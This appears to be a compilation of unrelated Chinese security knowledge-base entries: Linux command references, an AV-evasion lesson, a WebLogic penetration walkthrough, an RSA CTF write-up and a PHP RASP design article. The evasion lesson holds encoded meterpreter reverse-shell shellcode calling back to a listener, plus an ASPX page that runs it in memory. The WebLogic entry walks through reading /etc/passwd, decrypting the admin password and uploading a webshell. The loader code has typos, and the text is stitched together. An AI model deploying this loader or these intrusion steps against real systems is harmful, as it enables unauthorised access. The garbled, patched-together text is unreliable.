GNU coreutils 的在线帮助: <https://www.gnu.org/software/coreutils/>
.br
请向 <https://translationproject.org/team/zh_CN.html> 报告翻译错误。
.SH 版权
Copyright \(co 2022 Free Software Foundation, Inc. License GPLv3+: GNU GPL
version 3 or later <https://gnu.org/licenses/gpl.html>.
.br
本软件是自由软件:您可以自由修改和重新发布它。在法律允许的范围内,不提供任何保证。
.SH 参见
\fBlink\fP(2)
.PP
.br
完整文档请见: <https://www.gnu.org/software/coreutils/link>
.br
或者在本地使用: info \(aq(coreutils) link invocation\(aq
|
sec-knowleage
|
chown
===
用来变更文件或目录的拥有者或所属群组
## 补充说明
**chown命令** 改变某个文件或目录的所有者和所属的组,该命令可以向某个用户授权,使该用户变成指定文件的所有者或者改变文件所属的组。用户可以是用户或者是用户D,用户组可以是组名或组id。文件名可以使由空格分开的文件列表,在文件名中可以包含通配符。
只有文件主和超级用户才可以使用该命令。
### 语法
```shell
chown(选项)(参数)
```
### 选项
```shell
-c或——changes:效果类似“-v”参数,但仅回报更改的部分;
-f或--quite或——silent:不显示错误信息;
-h或--no-dereference:只对符号连接的文件作修改,而不更改其他任何相关文件;
-R或——recursive:递归处理,将指定目录下的所有文件及子目录一并处理;
-v或——version:显示指令执行过程;
--dereference:效果和“-h”参数相同;
--help:在线帮助;
--reference=<参考文件或目录>:把指定文件或目录的拥有者与所属群组全部设成和参考文件或目录的拥有者与所属群组相同;
--version:显示版本信息。
```
### 参数
用户:组:指定所有者和所属工作组。当省略“:组”,仅改变文件所有者;
文件:指定要改变所有者和工作组的文件列表。支持多个文件和目标,支持shell通配符。
### 实例
将目录`/usr/meng`及其下面的所有文件、子目录的文件主改成 liu:
```shell
chown -R liu /usr/meng
```
|
sec-knowleage
|
**关于分离免杀,其他章节参考:**
* 68课时payload特征,行为分离免杀思路第一季
* 69课时payload分离免杀思路第二季
本季针对目标环境支持aspx进行分离免杀。
**靶机背景:**
* Windows 2003
* Debian
Windows 2003:


```bash
msf auxiliary(server/socks4a) > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp_uuid
payload => windows/meterpreter/reverse_tcp_uuid
msf exploit(multi/handler) > set lhost 192.168.1.5
lhost => 192.168.1.5
msf exploit(multi/handler) > set lport 53
lport => 53
msf exploit(multi/handler) > set stageencoder x86/shikata_ga_nai
stageencoder => x86/shikata_ga_nai
msf exploit(multi/handler) > set EnableStageEncoding true
EnableStageEncoding => true
msf exploit(multi/handler) > set exitonsession false
exitonsession => false
msf exploit(multi/handler) > show options
Module options(exploit/multi/handler):
Name Current Setting Required Description
---- --------------- -------- -----------
Payload options (windows/meterpreter/reverse_tcp_uuid):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process,none)
LHOST 192.168.1.5 yes The listen address
LPORT 53 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(multi/handler) > exploit -j -z
```

### payload生成:
```bash
root@John:tmp# msfvenom -a x86 -p windows/meterpreter/reverse_tcp_uuid
LHOST=192.168.1.5 LPORT=53 EnableStageEncoding=true
stageencoder=x86/shikata_ga_nai -e x86/shikata_ga_nai -i 5 -f csharp
/usr/share/metasploit-framework/lib/msf/core/opt.rb:55: warning: constant
OpenSSL::SSL::SSLContext::METHODS is deprecated
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 5 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 401 (iteration=0) x86/shikata_ga_nai succeeded with size 428 (iteration=1) x86/shikata_ga_nai succeeded with size 455 (iteration=2) x86/shikata_ga_nai succeeded with size 482 (iteration=3)
x86/shikata_ga_nai succeeded with size 509 (iteration=4) x86/shikata_ga_nai chosen with final size 509
Payload size: 509 bytes
Final size of csharp file: 2610 bytes
byte[] buf = new byte[509] {
0xd9,0xcc,0xd9,0x74,0x24,0xf4,0x5a,0xb8,0x76,0x1e,0x3d,0x54,0x2b,0xc9,0xb1,
0x79,0x83,0xc2,0x04,0x31,0x42,0x15,0x03,0x42,0x15,0x94,0xeb,0x83,0x64,0x7e,
0x17,0xee,0x5e,0xa8,0xce,0x7a,0x7b,0xa0,0xae,0xab,0x4a,0xf9,0x23,0x2f,0xa3,
0x05,0xf2,0x58,0x2d,0xf6,0x82,0xb7,0xaf,0x3d,0x91,0x7c,0x80,0x6a,0xd8,0xba,
0x3b,0x5a,0xda,0xb6,0xca,0xc8,0xeb,0x0d,0x8c,0x2a,0x94,0xc2,0x85,0x87,0xbc,
0x25,0xd1,0x6e,0x64,0xfe,0xc0,0xf6,0x5e,0x9f,0x15,0x80,0x17,0x8f,0xaa,0xae,
0xff,0x22,0x6b,0x6b,0x46,0x14,0x4c,0x66,0x50,0xcb,0x1f,0x29,0x00,0x27,0x4c,
0x19,0x12,0x09,0x98,0x38,0x3e,0x6c,0xa2,0x22,0x60,0xbf,0x99,0xdb,0xe7,0xc5,
0xa2,0x46,0x18,0xbd,0xc4,0xae,0xd7,0x82,0xe3,0xbd,0xfe,0x40,0x33,0xf6,0xd2,
0x7a,0x6b,0xe1,0x2f,0xf9,0x4b,0x8b,0xc3,0x57,0x26,0xfe,0xfd,0x91,0xf7,0x93,
0x4a,0xe1,0x85,0xeb,0x68,0x16,0x42,0xc9,0x6f,0xac,0xef,0x28,0x05,0x46,0x76,
0x1b,0xa3,0xb9,0xe9,0xbf,0x1a,0x56,0x3e,0xdc,0x4d,0xf3,0x9f,0x1b,0x09,0x55,
0x63,0x07,0xa3,0x59,0xbc,0x57,0xad,0x72,0x53,0x6b,0xff,0x49,0x10,0x47,0x21,
0x81,0xb8,0x0e,0x98,0xec,0x03,0xa3,0x9f,0x90,0xa3,0x15,0xc4,0x7d,0x87,0x5c,
0xcd,0xfe,0x32,0xca,0x11,0xf3,0x14,0x20,0xc8,0x92,0x36,0x88,0xe8,0xa1,0xad,
0xac,0x46,0x19,0x9f,0x04,0x76,0x01,0x41,0x3d,0x3a,0x7d,0x80,0xa2,0x4e,0x24,
0xcb,0x6b,0xe7,0xc9,0xc8,0xa4,0x01,0x17,0xb3,0x3a,0xd9,0x8e,0x9b,0x13,0x7b,
0xbf,0x49,0xf3,0xa9,0x71,0x57,0x49,0x54,0x60,0x32,0xf4,0x4e,0xfa,0x76,0xf8,
0x38,0x7c,0xb7,0x6b,0xac,0xc1,0x27,0x6b,0xae,0x80,0x10,0x85,0x98,0x61,0x42,
0x1e,0x1e,0xb0,0x58,0x6b,0xff,0x92,0x68,0xa5,0x29,0x45,0x99,0x9c,0xa2,0xc0,
0x29,0x53,0xc3,0x4b,0x76,0x72,0x17,0x60,0x3d,0xd8,0x11,0xce,0xc0,0xe6,0x34,
0xa1,0x26,0x65,0x98,0x79,0xf6,0x58,0x92,0x41,0x04,0xa0,0xf0,0x3d,0xf1,0x44,
0xb9,0x63,0x42,0x1a,0xac,0xad,0x67,0x98,0x8f,0x27,0x73,0xdd,0x54,0x61,0x65,
0xd1,0x72,0xc5,0x0f,0x8a,0xd3,0x80,0x6a,0xc3,0xf6,0x44,0x2f,0x1a,0x6a,0xe6,
0xfa,0x6c,0xa5,0x95,0x54,0x47,0x54,0xbf,0x66,0x78,0xfd,0x40,0x10,0x62,0xe8,
0xc0,0x93,0xa8,0x80,0xb9,0x37,0x4c,0x47,0x7b,0x61,0xc1,0x44,0x13,0x17,0x7f,
0xa2,0x73,0xcd,0x76,0x5f,0x2a,0x98,0x92,0x3e,0x09,0xa3,0x60,0xeb,0x41,0x1a,
0xf4,0xcb,0x6f,0x96,0xc6,0x3c,0xf0,0xda,0xc6,0x1c,0x1c,0xb6,0xa0,0x64,0x67,
0x7b,0xdc,0xe2,0x43,0xf1,0xee,0x3b,0x93,0xb9,0x95,0x29,0x01,0x97,0x8c,0x09,
0x72,0xee,0x78,0x1a,0x13,0x60,0xa6,0xac,0x05,0x99,0x6c,0x28,0x81,0x29,0x5d,
0x37,0x89,0x2a,0x3d,0xbf,0x0e,0xc7,0xeb,0x9f,0x44,0x1d,0xb3,0x4d,0x1a,0xbc,
0xe2,0x22,0xb2,0xb3,0xa6,0x43,0x3e,0x46,0xc5,0x0d,0xba,0x87,0xd5,0x6d,0x70,
0xfe,0x87,0x58,0x2c,0x4b,0x8c,0x2d,0x56,0x21,0x4a,0xbf,0x45,0x8c,0xd9,0x9e,
0xa0,0xe4,0x20,0x6b,0x7f,0xfb,0xd0,0x1e,0x88,0x13,0x6e,0x11,0xe9,0xd9 };
```

### 其中分离shellcode。构造如下:



**上线成功,关于分离免杀的思路不仅仅限制于脚本,pe文件。包括powershell等。这是每一个安全从业者应该考虑的问题。**
### 附录:Source code
```csharp
<%@ Page Language="C#" AutoEventWireup="true" Inherits="System.Web.UI.Page" %>
<%@ Import Namespace="System" %>
<%@ Import Namespace="System.Runtime.InteropServices" %>
<script runat="server">
delegate int MsfpayloadProc();
protected void Page_Load(object sender, EventArgs e)
{
byte[] buf = codeBytes[509] {
0xd9,0xcc,0xd9,0x74,0x24,0xf4,0x5a,0xb8,0x76,0x1e,0x3d,0x54,0x2b,0xc9,0xb1,
0x79,0x83,0xc2,0x04,0x31,0x42,0x15,0x03,0x42,0x15,0x94,0xeb,0x83,0x64,0x7e,
0x17,0xee,0x5e,0xa8,0xce,0x7a,0x7b,0xa0,0xae,0xab,0x4a,0xf9,0x23,0x2f,0xa3,
0x05,0xf2,0x58,0x2d,0xf6,0x82,0xb7,0xaf,0x3d,0x91,0x7c,0x80,0x6a,0xd8,0xba,
0x3b,0x5a,0xda,0xb6,0xca,0xc8,0xeb,0x0d,0x8c,0x2a,0x94,0xc2,0x85,0x87,0xbc,
0x25,0xd1,0x6e,0x64,0xfe,0xc0,0xf6,0x5e,0x9f,0x15,0x80,0x17,0x8f,0xaa,0xae,
0xff,0x22,0x6b,0x6b,0x46,0x14,0x4c,0x66,0x50,0xcb,0x1f,0x29,0x00,0x27,0x4c,
0x19,0x12,0x09,0x98,0x38,0x3e,0x6c,0xa2,0x22,0x60,0xbf,0x99,0xdb,0xe7,0xc5,
0xa2,0x46,0x18,0xbd,0xc4,0xae,0xd7,0x82,0xe3,0xbd,0xfe,0x40,0x33,0xf6,0xd2,
0x7a,0x6b,0xe1,0x2f,0xf9,0x4b,0x8b,0xc3,0x57,0x26,0xfe,0xfd,0x91,0xf7,0x93,
0x4a,0xe1,0x85,0xeb,0x68,0x16,0x42,0xc9,0x6f,0xac,0xef,0x28,0x05,0x46,0x76,
0x1b,0xa3,0xb9,0xe9,0xbf,0x1a,0x56,0x3e,0xdc,0x4d,0xf3,0x9f,0x1b,0x09,0x55,
0x63,0x07,0xa3,0x59,0xbc,0x57,0xad,0x72,0x53,0x6b,0xff,0x49,0x10,0x47,0x21,
0x81,0xb8,0x0e,0x98,0xec,0x03,0xa3,0x9f,0x90,0xa3,0x15,0xc4,0x7d,0x87,0x5c,
0xcd,0xfe,0x32,0xca,0x11,0xf3,0x14,0x20,0xc8,0x92,0x36,0x88,0xe8,0xa1,0xad,
0xac,0x46,0x19,0x9f,0x04,0x76,0x01,0x41,0x3d,0x3a,0x7d,0x80,0xa2,0x4e,0x24,
0xcb,0x6b,0xe7,0xc9,0xc8,0xa4,0x01,0x17,0xb3,0x3a,0xd9,0x8e,0x9b,0x13,0x7b,
0xbf,0x49,0xf3,0xa9,0x71,0x57,0x49,0x54,0x60,0x32,0xf4,0x4e,0xfa,0x76,0xf8,
0x38,0x7c,0xb7,0x6b,0xac,0xc1,0x27,0x6b,0xae,0x80,0x10,0x85,0x98,0x61,0x42,
0x1e,0x1e,0xb0,0x58,0x6b,0xff,0x92,0x68,0xa5,0x29,0x45,0x99,0x9c,0xa2,0xc0,
0x29,0x53,0xc3,0x4b,0x76,0x72,0x17,0x60,0x3d,0xd8,0x11,0xce,0xc0,0xe6,0x34,
0xa1,0x26,0x65,0x98,0x79,0xf6,0x58,0x92,0x41,0x04,0xa0,0xf0,0x3d,0xf1,0x44,
0xb9,0x63,0x42,0x1a,0xac,0xad,0x67,0x98,0x8f,0x27,0x73,0xdd,0x54,0x61,0x65,
0xd1,0x72,0xc5,0x0f,0x8a,0xd3,0x80,0x6a,0xc3,0xf6,0x44,0x2f,0x1a,0x6a,0xe6,
0xfa,0x6c,0xa5,0x95,0x54,0x47,0x54,0xbf,0x66,0x78,0xfd,0x40,0x10,0x62,0xe8,
0xc0,0x93,0xa8,0x80,0xb9,0x37,0x4c,0x47,0x7b,0x61,0xc1,0x44,0x13,0x17,0x7f,
0xa2,0x73,0xcd,0x76,0x5f,0x2a,0x98,0x92,0x3e,0x09,0xa3,0x60,0xeb,0x41,0x1a,
0xf4,0xcb,0x6f,0x96,0xc6,0x3c,0xf0,0xda,0xc6,0x1c,0x1c,0xb6,0xa0,0x64,0x67,
0x7b,0xdc,0xe2,0x43,0xf1,0xee,0x3b,0x93,0xb9,0x95,0x29,0x01,0x97,0x8c,0x09,
0x72,0xee,0x78,0x1a,0x13,0x60,0xa6,0xac,0x05,0x99,0x6c,0x28,0x81,0x29,0x5d,
0x37,0x89,0x2a,0x3d,0xbf,0x0e,0xc7,0xeb,0x9f,0x44,0x1d,0xb3,0x4d,0x1a,0xbc,
0xe2,0x22,0xb2,0xb3,0xa6,0x43,0x3e,0x46,0xc5,0x0d,0xba,0x87,0xd5,0x6d,0x70,
0xfe,0x87,0x58,0x2c,0x4b,0x8c,0x2d,0x56,0x21,0x4a,0xbf,0x45,0x8c,0xd9,0x9e,
0xa0,0xe4,0x20,0x6b,0x7f,0xfb,0xd0,0x1e,0x88,0x13,0x6e,0x11,0xe9,0xd9 };
IntPtr handle = IntPtr.Zero;
handle = VirtualAlloc(
IntPtr.Zero,
codeBytes.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
try
{
Marshal.Copy(codeBytes, 0, handle, codeBytes.Length);
MsfpayloadProc msfpayload
= Marshal.GetDelegateForFunctionPointer(handle, typeof(MsfpayloadProc)) as MsfpayloadProc;
msfpayload();
}
finally
{
VirtualFree(handle, 0, MEM_RELEASE);
}
}
[DllImport("Kernel32.dll", EntryPoint = "VirtualAlloc")]
public static extern IntPtr VirtualAlloc(IntPtr address, int size, ui ntallocType, uint protect);
[DllImport("Kernel32.dll", EntryPoint = "VirtualFree")]
public static extern bool VirtualFree(IntPtr address, int size, uint freeType);
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint MEM_RELEASE = 0x8000;
</script>
```
> Micropoor
|
sec-knowleage
|
# Weblogic 常规渗透测试环境
## 测试环境
本环境模拟了一个真实的weblogic环境,其后台存在一个弱口令,并且前台存在任意文件读取漏洞。分别通过这两种漏洞,模拟对weblogic场景的渗透。
Weblogic版本:10.3.6(11g)
Java版本:1.6
启动本环境:
```
docker compose up -d
```
## 弱口令
环境启动后,访问`http://your-ip:7001/console`,即为weblogic后台。
本环境存在弱口令:
- weblogic
- Oracle@123
weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic
## 任意文件读取漏洞的利用
假设不存在弱口令,如何对weblogic进行渗透?
本环境前台模拟了一个任意文件下载漏洞,访问`http://your-ip:7001/hello/file.jsp?path=/etc/passwd`可见成功读取passwd文件。那么,该漏洞如何利用?
### 读取后台用户密文与密钥文件
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为`SerializedSystemIni.dat`和`config.xml`,在本环境中为`./security/SerializedSystemIni.dat`和`./config/config.xml`(基于当前目录`/root/Oracle/Middleware/user_projects/domains/base_domain`)。
`SerializedSystemIni.dat`是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:

`config.xml`是base_domain的全局配置文件,所以乱七八糟的内容比较多,找到其中的`<node-manager-password-encrypted>`的值,即为加密后的管理员密码,不要找错了:

### 解密密文
然后使用本环境的decrypt目录下的weblogic_decrypt.jar,解密密文(或者参考这篇文章:http://cb.drops.wiki/drops/tips-349.html ,自己编译一个解密的工具):

可见,解密后和我预设的密码一致,说明成功。
## 后台上传webshell
获取到管理员密码后,登录后台。点击左侧的部署,可见一个应用列表:

点击安装,选择“上载文件”:

上传war包。值得注意的是,我们平时tomcat用的war包不一定能够成功,你可以将你的webshell放到本项目的`web/hello.war`这个压缩包中,再上传。上传成功后点下一步。
填写应用名称:

继续一直下一步,最后点完成。
应用目录在war包中WEB-INF/weblogic.xml里指定(因为本测试环境已经使用了`/hello`这个目录,所以你要在本测试环境下部署shell,需要修改这个目录,比如修改成`/jspspy`):

成功获取webshell:

|
sec-knowleage
|
# Multicast (misc, 175p)
## ENG
[PL](#pl-version)
In the task we get a [sage script](generate.sage) which generated the [data](data.txt):
```python
nbits = 1024
e = 5
flag = open("flag.txt").read().strip()
assert len(flag) <= 64
m = Integer(int(flag.encode('hex'),16))
out = open("data.txt","w")
for i in range(e):
while True:
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
ni = p*q
phi = (p-1)*(q-1)
if gcd(phi, e) == 1:
break
while True:
ai = randint(1,ni-1)
if gcd(ai, ni) == 1:
break
bi = randint(1,ni-1)
mi = ai*m + bi
ci = pow(mi, e, ni)
out.write(str(ai)+'\n')
out.write(str(bi)+'\n')
out.write(str(ci)+'\n')
out.write(str(ni)+'\n')
```
It is a standard RSA with e=5 and 1024 bits modulus.
What is noticable is that we get 5 payloads, and e is 5, so the setup looks very much like for a Hastad Broadcast Attack.
Also the name of the task could suggest this.
However, unlike for the simple Hastad case, we don't really have the same message sent with different moduli.
Such case can be solved very simply using Chinese Reminder Theorem.
Here each of the encrypted messages is different, however each has form `ai*m + bi` so a linear polynomial was applied over the message before the encryption.
If we look at the generic Hastad description, for example in Durfee PhD Thesis http://theory.stanford.edu/~gdurf/durfee-thesis-phd.pdf (page 25-26) we will find that in fact it is also applicable in out scenario, although the final coputation requires Coppersmith attack.
We follow the method described in the linked paper (for details just read the paper) and we get a [solver](solver.sage) with the core part:
```python
def main():
import codecs
with codecs.open("data.txt", "r") as input_file:
data = [int(c) for c in input_file.readlines()]
a = [data[i * 4] for i in range(5)]
b = [data[i * 4+1] for i in range(5)]
c = [data[i * 4+2] for i in range(5)]
ns = [data[i * 4 + 3] for i in range(5)]
t = []
for n in ns:
other_moduli = [x for x in ns if x != n]
t.append(crt([1,0,0,0,0],[n]+other_moduli))
N = reduce(lambda x,y: x*y, ns)
e = 5
P.<x> = PolynomialRing(Zmod(N), implementation='NTL');
pol = 0
for i in range(5):
pol += t[i]*((a[i]*x+b[i])^e - c[i])
dd = pol.degree()
if not pol.is_monic():
leading = pol.coefficients(sparse=False)[-1]
inverse = inverse_mod(int(leading), int(N))
pol *= inverse
beta = 1
epsilon = beta / 7
mm = ceil(beta**2 / (dd * epsilon))
tt = floor(dd * mm * ((1/beta) - 1))
XX = ceil(N**((beta**2/dd) - epsilon))
roots = pol.small_roots()
for root in roots:
print(long_to_bytes(root))
main()
```
So we read the data and partition them into the recovered polynomials coefficients and moduli.
We use Chinese Reminder Theorem to get values `ti` which for each dataset `i` should give 1 mod `ni` and 0 modulo any other of the moduli.
Then we calculate the product of all moduli and create a polynomial ring with this value, because now all calculations will be mod `n1*n2*...`.
Finally we create a polynomial suggested by Durfee and we find the roots using Coppersmith method.
The extracted root is the message we were looking for: `PCTF{L1ne4r_P4dd1ng_w0nt_s4ve_Y0u_fr0m_H4s7ad!}`
## PL version
W zadaniu dostajemy [skrypt sage](generate.sage) który wygenerował [dane](data.txt):
```python
nbits = 1024
e = 5
flag = open("flag.txt").read().strip()
assert len(flag) <= 64
m = Integer(int(flag.encode('hex'),16))
out = open("data.txt","w")
for i in range(e):
while True:
p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
ni = p*q
phi = (p-1)*(q-1)
if gcd(phi, e) == 1:
break
while True:
ai = randint(1,ni-1)
if gcd(ai, ni) == 1:
break
bi = randint(1,ni-1)
mi = ai*m + bi
ci = pow(mi, e, ni)
out.write(str(ai)+'\n')
out.write(str(bi)+'\n')
out.write(str(ci)+'\n')
out.write(str(ni)+'\n')
```
Mamy tu standardowe RSA e=5 oraz 1024 bitowym modulusem.
Możemy zauważyć, że mamy 5 wiadomości oraz e równe 5, co sugeruje konfiguracje podobną do ataku Hastad Broadcast.
Dodatkowo sama nazwa zadania także może to sugerować.
Jednak, w przeciwieństwie do klasycznego przypadku Hastada, nie mamy tutaj tej samej wiadomości wysłanej z różnymi modulusami.
Taki przypadek trywialnie można rozwiązać za pomocą Chińskiego Twierdzenia o Resztach.
Tutaj każda wiadomość jest inna, niemniej jednak każda ma postać `ai*m + bi` więc pewien liniowy wielomian został policzony z wiadomości przed szyfrowaniem.
Jeśli popatrzymy na ogólny przypadek Hastada, na przykład w pracy doktorskiej pana Durfee http://theory.stanford.edu/~gdurf/durfee-thesis-phd.pdf (strony 25-26) zobaczymy, że w rzeczywistości twierdzenie można wykorzystać także w naszym przypadku, chociaż finalne obliczenia będą wymagać użycia ataku Coppersmitha.
Postępujemy zgodnie z metodą opisaną w linkowanej publikacji (po szczegóły i wyjaśnienia odsyłam tam) i dostajemy [solver](solver.sage) z główną częścią:
```python
def main():
import codecs
with codecs.open("data.txt", "r") as input_file:
data = [int(c) for c in input_file.readlines()]
a = [data[i * 4] for i in range(5)]
b = [data[i * 4+1] for i in range(5)]
c = [data[i * 4+2] for i in range(5)]
ns = [data[i * 4 + 3] for i in range(5)]
t = []
for n in ns:
other_moduli = [x for x in ns if x != n]
t.append(crt([1,0,0,0,0],[n]+other_moduli))
N = reduce(lambda x,y: x*y, ns)
e = 5
P.<x> = PolynomialRing(Zmod(N), implementation='NTL');
pol = 0
for i in range(5):
pol += t[i]*((a[i]*x+b[i])^e - c[i])
dd = pol.degree()
if not pol.is_monic():
leading = pol.coefficients(sparse=False)[-1]
inverse = inverse_mod(int(leading), int(N))
pol *= inverse
beta = 1
epsilon = beta / 7
mm = ceil(beta**2 / (dd * epsilon))
tt = floor(dd * mm * ((1/beta) - 1))
XX = ceil(N**((beta**2/dd) - epsilon))
roots = pol.small_roots()
for root in roots:
print(long_to_bytes(root))
main()
```
Pobieramy dane i dzielimy je na odpowiednie parametry wielomianów i modulusy.
Następnie za pomocą Chińskiego Twierdzenia o Resztach wyliczamy współczynniki `ti` które dla każdego wejścia `i` dają 1 mod `ni` oraz 0 modulo dowolny inny modulus z zestawu.
Następnie wyliczamy iloczyn wszystkich modulusów i tworzymy pierścień wielomianowy z tym iloczynem, ponieważ wszystkie obliczenia wykonywane będą teraz modulo `n1*n2*...`.
Finalnie tworzymy wielomian zaproponowany przez Durfee i znajdujemy jego pierwiastki metodą Coppersmitha.
Znaleziony pierwiastek to szukana flaga: `PCTF{L1ne4r_P4dd1ng_w0nt_s4ve_Y0u_fr0m_H4s7ad!}`
|
sec-knowleage
|
作者:c0d3p1ut0s & s1m0n https://paper.seebug.org/449/
## RASP概念
RASP(Runtime Application self-protection)是一种在运行时检测攻击并且进行自我保护的一种技术。早在2012年,Gartner就开始关注RASP,惠普、WhiteHat Security等多家国外安全公司陆续推出RASP产品,时至今日,惠普企业的软件部门出售给了Micro Focus,RASP产品Application Defender随之易主。而在国内,去年知道创宇KCon大会兵器谱展示了JavaRASP,前一段时间,百度开源了OpenRASP,去年年底,360的0kee团队开始测试Skywolf,虽然没有看到源码和文档,但它的设计思路或许跟RASP类似。而商业化的RASP产品有OneAPM的OneRASP和青藤云的自适应安全产品。在国内,这两家做商业化RASP产品做得比较早。
那么RASP到底是什么呢?它到底是怎样工作的呢?
## 我的WAF世界观
为了表述方便,暂且把RASP归为WAF的一类。从WAF所在的拓扑结构,可以简单将WAF分为如下三类,如下图所示:

* 以阿里云为代表的云WAF以中间人的形式,在HTTP请求到达目标服务器之前进行检查拦截。
* 以ModSecurity为代表的传统WAF在HTTP请求到达HTTP服务器后,被Web后端容器解释/执行之前检查拦截HTTP请求。
* RASP工作在Web后端解释器/编译器中,在漏洞代码执行前阻断执行流。
从上图中WAF所处的位置可以看出,云WAF和传统WAF的检查拦截HTTP请求的主要依据是HTTP Request,其实,如果站在一个非安全从业者的角度来看,这种检测方式是奇怪的。我们可以把Web服务看做是一个接受输入-处理-输出结果的程序,那么它的输入是HTTP请求,它的输出是HTTP响应。靠检测一个程序的输入和输出来判断这个程序的运行过程是否有害,这不奇怪吗?然而它又是可行且有效的,大多数的Web攻击都能从HTTP请求中找到蛛丝马迹。这种检测思路是云WAF和传统WAF能有效工作的原因,也是它们的缺点。
笔者一直认为,问题发生的地方是监控问题、解决问题的最好位置。Web攻击发生在Web后端代码执行时,最好的防护方法就是在Web后端代码执行之前推测可能发生的问题,然后阻断代码的执行。这里的推测并没有这么难,就好像云WAF在检查包含攻击payload的HTTP请求时推测它会危害Web服务一样。这就是RASP的设计思路。
好了,上面谈了一下笔者个人的一些看法,下面开始谈一谈PHP RASP的实现。
RASP在后端代码运行时做安全监测,但又不侵入后端代码,就得切入Web后端解释器。以Java为例,Java支持以JavaAgent的方式,在class文件加载时修改字节码,在关键位置插入安全检查代码,实现RASP功能。同样,PHP也支持对PHP内核做类似的操作,PHP支持PHP扩展,实现这方面的需求。你可能对JavaAgent和PHP扩展比较陌生,实际上,在开发过程中,JavaAgent和PHP扩展与你接触的次数比你意识到的多得多。
## PHP扩展简介
有必要介绍一下PHP解释的简单工作流程,根据PHP解释器所处的环境不同,PHP有不同的工作模式,例如常驻CGI,命令行、Web Server模块、通用网关接口等多个模式。在不同的模式下,PHP解释器以不同的方式运行,包括单线程、多线程、多进程等。
为了满足不同的工作模式,PHP开发者设计了Server API即SAPI来抹平这些差异,方便PHP内部与外部进行通信。
虽然PHP运行模式各不相同,但是,PHP的任何扩展模块,都会依次执行模块初始化(MINIT)、请求初始化(RINIT)、请求结束(RSHUTDOWN)、模块结束(MSHUTDOWN)四个过程。如下图所示:

在PHP实例启动时,PHP解释器会依次加载每个PHP扩展模块,调用每个扩展模块的MINIT函数,初始化该模块。当HTTP请求来临时,PHP解释器会调用每个扩展模块的RINIT函数,请求处理完毕时,PHP会启动回收程序,倒序调用各个模块的RSHUTDOWN方法,一个HTTP请求处理就此完成。由于PHP解释器运行的方式不同,RINIT-RSHUTDOWN这个过程重复的次数也不同。当PHP解释器运行结束时,PHP调用每个MSHUTDOWN函数,结束生命周期。
PHP核心由两部分组成,一部分是PHP core,主要负责请求管理,文件和网络操作,另一部分是Zend引擎,Zend引擎负责编译和执行,以及内存资源的分配。Zend引擎将PHP源代码进行词法分析和语法分析之后,生成抽象语法树,然后编译成Zend字节码,即Zend opcode。即`PHP源码->AST->opcode` 。opcode就是Zend虚拟机中的指令。使用VLD扩展可以看到Zend opcode,这个扩展读者应该比较熟悉了。下面代码的opcode如图所示
``` php
<?php
$a=1;
$b=2;
print $a+$b;
>
```

Zend引擎的所有opcode在http://php.net/manual/en/internals2.opcodes.list.php 中可以查到,在PHP的内部实现中,每一个opcode都由一个函数具体实现,opcode数据结构如下
``` c
struct _zend_op {
opcode_handler_t handler;//执行opcode时调用的处理函数
znode result;
znode op1;
znode op2;
ulong extended_value;
uint lineno;
zend_uchar opcode;
};
```
如结构体所示,具体实现函数的指针保存在类型为opcode_handler_t的handler中。
## 设计思路
PHP RASP的设计思路很直接,安全圈有一句名言叫一切输入都是有害的,我们就跟踪这些有害变量,看它们是否对系统造成了危害。我们跟踪了HTTP请求中的所有参数、HTTP Header等一切client端可控的变量,随着这些变量被使用、被复制,信息随之流动,我们也跟踪了这些信息的流动。我们还选取了一些敏感函数,这些函数都是引发漏洞的函数,例如require函数能引发文件包含漏洞,mysqli->query方法能引发SQL注入漏洞。简单来说,这些函数都是大家在代码审计时关注的函数。我们利用某些方法为这些函数添加安全检查代码。当跟踪的信息流流入敏感函数时,触发安全检查代码,如果通过安全检查,开始执行敏感函数,如果没通过安全检查,阻断执行,通过SAPI向HTTP Server发送403 Forbidden信息。当然,这一切都在PHP代码运行过程中完成。
这里主要有两个技术问题,一个是如何跟踪信息流,另一个是如何安全检查到底是怎样实现的。
我们使用了两个技术思路来解决两个问题,第一个是动态污点跟踪,另一个是基于词法分析的漏洞检测。
## 动态污点跟踪
对PHP内核有一些了解的人应该都知道鸟哥,鸟哥有一个项目taint,做的就是动态污点跟踪。动态污点跟踪技术在白盒的调试和分析中应用比较广泛。它的主要思路就是先认定一些数据源是可能有害的,被污染的,在这里,我们认为所有的HTTP输入都是被污染的,所有的HTTP输入都是污染源。随着这些被污染变量的复制、拼接等一系列操作,其他变量也会被污染,污染会扩大,这就是污染的传播。这些经过污染的变量作为参数传入敏感函数以后,可能导致安全问题,这些敏感函数就是沉降点。
做动态污点跟踪主要是定好污染源、污染传播策略和沉降点。在PHP RASP中,污染源和沉降点显而易见,而污染传播策略的制定影响对RASP的准确性有很大的影响。传播策略过于严格会导致漏报,传播策略过于宽松会增加系统开销。PHP RASP的污染传播策略是变量的复制、赋值和大部分的字符串处理等操作传播污染。
动态污点跟踪的一个小小好处是如果一些敏感函数的参数没有被污染,那么我们就无需对它进行安全检查。当然,这只是它的副产物,它的大作用在漏洞检测方面。
动态污点跟踪的实现比较复杂,有兴趣的可以去看看鸟哥的taint,鸟哥的taint也是以PHP扩展的方式做动态污点跟踪。PHP RASP中,这部分是基于鸟哥的taint修改、线程安全优化、适配不同PHP版本实现的。在发行过程中,我们也将遵守taint的License。
